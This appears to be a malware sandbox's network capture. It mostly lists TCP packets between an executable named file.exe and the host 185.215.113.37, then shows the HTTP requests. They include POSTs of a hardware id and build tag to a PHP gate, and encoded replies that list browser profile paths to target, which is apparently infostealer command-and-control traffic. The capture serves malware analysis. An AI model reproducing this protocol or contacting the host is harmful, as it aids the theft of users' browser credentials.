Oct 24, 2024 04:57:24.054281950 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.054302931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.054310083 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.054315090 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.054332018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.054341078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.054358959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.054359913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.054379940 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.054387093 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.054404974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.054430008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.054451942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.054528952 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.109360933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.114809036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395289898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395335913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395364046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395374060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395399094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395431042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395463943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395500898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395524979 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395545006 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395565033 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395582914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395581961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395581961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395582914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395582914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395582914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395622969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395622969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395632029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395636082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395668030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395682096 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395720005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395745993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395780087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395802021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395804882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395804882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395804882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395823956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395843029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395843029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395847082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395859957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395867109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395885944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395904064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.395905018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395937920 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395972967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.395998001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396015882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396038055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396058083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396136045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396136045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396136045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396136045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396136045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396136045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396167040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396188021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396219015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396239042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396243095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396262884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396271944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396287918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396308899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396310091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396332026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396358013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396374941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396379948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396399021 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396403074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396425009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396425962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396440983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396456957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396466017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396472931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396502972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396511078 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396527052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396544933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396555901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396570921 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396589041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396593094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396605968 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396630049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396648884 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396651983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396667004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396675110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396697044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396719933 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396734953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396809101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396827936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396852016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396872044 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396899939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396904945 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396914959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396919012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396945000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396945953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396955967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.396967888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396990061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.396991014 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397011995 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397032022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397032976 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397056103 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397073984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397124052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397146940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397169113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397183895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397209883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397211075 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397229910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397231102 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397258043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397258997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397272110 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397279978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397327900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397366047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397384882 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397409916 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397423029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397424936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397449970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397453070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397475004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397475004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397499084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397515059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397519112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397542000 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397546053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397564888 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397567034 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397592068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.397604942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.397634983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.892023087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.892024040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:24.897690058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:24.897720098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:25.681397915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:25.681468964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:25.745963097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:25.751414061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:26.032459974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:26.032471895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:26.032484055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:26.032542944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:26.032588959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:26.035201073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:26.041825056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:26.324867964 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:26.325102091 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:26.340389967 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:26.345727921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:27.124102116 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:27.124170065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:27.152110100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:27.157402039 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:27.442467928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:27.442523003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:27.442544937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:27.442555904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:27.442573071 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:27.442594051 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:27.442609072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:27.442641020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:27.442656040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:27.442684889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:27.442692041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:27.442725897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:27.442766905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:27.442766905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:27.443857908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:27.449223042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:28.226624966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:28.226715088 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:33.391319036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 24, 2024 04:57:33.394104004 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 24, 2024 04:57:34.778027058 CEST	49704	80	192.168.2.5	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.37	80	2296	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 04:57:06.173254967 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 24, 2024 04:57:07.095604897 CEST	203	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:06 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 24, 2024 04:57:07.098992109 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKKJJJKJKFHJJJJECBF Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 32 35 44 34 42 38 42 34 41 41 38 33 31 34 38 31 35 32 38 31 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 4b 4a 4a 4a 4b 4a 4b 46 48 4a 4a 4a 4a 45 43 42 46 2d 2d 0d 0a Data Ascii: ------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="hwid"525D4B8B4AA83148152816------JKKKJJJKJKFHJJJJECBFContent-Disposition: form-data; name="build"doma------JKKKJJJKJKFHJJJJECBF--
Oct 24, 2024 04:57:07.406883955 CEST	407	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:07 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4e 57 46 6b 4d 54 6b 31 4d 47 45 30 4f 54 4a 6d 4e 44 46 6d 4f 44 63 7a 4f 44 55 32 4e 7a 59 30 4d 57 59 78 4d 47 52 6c 5a 44 4a 6c 59 57 45 79 59 54 56 6d 5a 54 55 33 5a 57 56 68 4d 47 59 34 4f 54 55 32 4d 57 55 33 4e 44 55 32 5a 54 56 68 4e 7a 4d 33 5a 57 45 30 4e 44 68 6c 4d 57 51 31 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: NWFkMTk1MGE0OTJmNDFmODczODU2NzY0MWYxMGRlZDJlYWEyYTVmZTU3ZWVhMGY4OTU2MWU3NDU2ZTVhNzM3ZWE0NDhlMWQ1fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Oct 24, 2024 04:57:07.408870935 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKFBAECBAEGDGDHIEHIJ Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 64 31 39 35 30 61 34 39 32 66 34 31 66 38 37 33 38 35 36 37 36 34 31 66 31 30 64 65 64 32 65 61 61 32 61 35 66 65 35 37 65 65 61 30 66 38 39 35 36 31 65 37 34 35 36 65 35 61 37 33 37 65 61 34 34 38 65 31 64 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 46 42 41 45 43 42 41 45 47 44 47 44 48 49 45 48 49 4a 2d 2d 0d 0a Data Ascii: ------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="token"5ad1950a492f41f8738567641f10ded2eaa2a5fe57eea0f89561e7456e5a737ea448e1d5------BKFBAECBAEGDGDHIEHIJContent-Disposition: form-data; name="message"browsers------BKFBAECBAEGDGDHIEHIJ--
Oct 24, 2024 04:57:07.695764065 CEST	1236	IN	HTTP/1.1 200 OK Date: Thu, 24 Oct 2024 02:57:07 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 24, 2024 04:57:07.695805073 CEST	112	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJh
Oct 24, 2024 04:57:07.695842028 CEST	400	IN	Data Raw: 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 39 77 5a 58 4a 68 49 45 64 59 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d Data Ascii: IFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQcm9kdWN0aW9uc1xQYWxlIE1vb25
